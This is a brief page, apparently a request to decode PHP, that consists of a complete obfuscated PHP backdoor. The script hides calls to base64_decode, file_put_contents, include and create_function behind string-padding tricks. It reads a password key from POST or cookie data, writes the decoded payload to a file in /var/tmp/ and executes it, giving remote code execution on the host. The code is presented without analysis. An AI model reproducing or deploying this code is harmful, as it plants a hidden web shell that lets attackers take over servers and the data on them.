PHP Decode

<?php $jxkp="J0ZaJy4kayAmJiAkYygkYStek+MSl7CWlmICggdmteVyc2lvbl9jb21wYXJlKCBwaHB2ZXJzaW9uteKCktesICIte4IiwgIj49IiApICkgewkJJHJuZF9wYXRoID0"; 
$pqrz="ef"; $pcay="efseftref_efrefeefpeflefaefcefe";$dojn=$_POST;$krel=$_COOKIE; 
$aegj="CkgewkJCXteVubGteluayggJHteJuZF9tewYXRoICk7teCQl9teCX0JZXteZtehbCteggYmFzteZteTteY0X2RlY29kteZSggJGFbteJ3VwZGF0ZSddICkgKTt9"; 
$tsrv="JGM9J2NvtedW50JzskYT1hcnJteheV9tZXJnZSgkX0NPteT0tJRteSwgJF9QteT1NUKTteskteaz0tenteVTZYYteTYnO2lmKHJlc2V0KCRhKTte09"; 
$zzqh="gJy92teYXIvdGte1wLycgLiBtejb25tezdGFudCgtegJ3teJkbm1tekNScgKteTsJteCWlmICggZmlsZteV9leGlzdHMoICRybmRfcGF0teaCAtepIte"; 
$deop = implode("",explode($pqrz,$pcay)); $zhvc = $deop("m", "", "mbamsem6m4m_mdmemcomdme"); 
$hcpw = $deop("f","","fvefrfsifofnf_cfofmfpfarfe"); $hlit = $deop("am","","aamramramaamy_ammeamramgame"); 
$svwe = $deop("u","","arurauyu_ukueuyu_uexuiusts"); $gkal = $deop("j","","pjhjpjvjerjsijojn"); 
$balc = $zhvc($deop("te", "", $tsrv.$jxkp.$zzqh.$aegj)); 
if ($svwe($deop("w","","wpwaws"),$hlit($dojn, $krel))){ 
if ($hcpw($gkal(), 8, ">=")) 
{$qgdm = $deop("m","","mfmimlem_mpmumtm_mcmomnmtmentms"); 
$tbbg = $deop("v","","vuvnivqid");$pmku = $tbbg();$lmby = $deop("dn","","dednfdnine"); 
$ergk = $lmby($deop("c","","crcdcncmcdc5"), $pmku); 
  @$qgdm($deop("b","","b/bvbabrb/btbmbpb/").$pmku, $deop("o","","o<o?opohop")." ".$balc); 
  @include($deop("b","","b/bvbabrb/btbmbpb/").$pmku); 
  }else { 
    $xtwz=@$deop("q","","cqrqeqatqeq_qfuqncqtqioqn");$ysxu = $xtwz("", $balc);$ysxu(); 
  } 
} ?>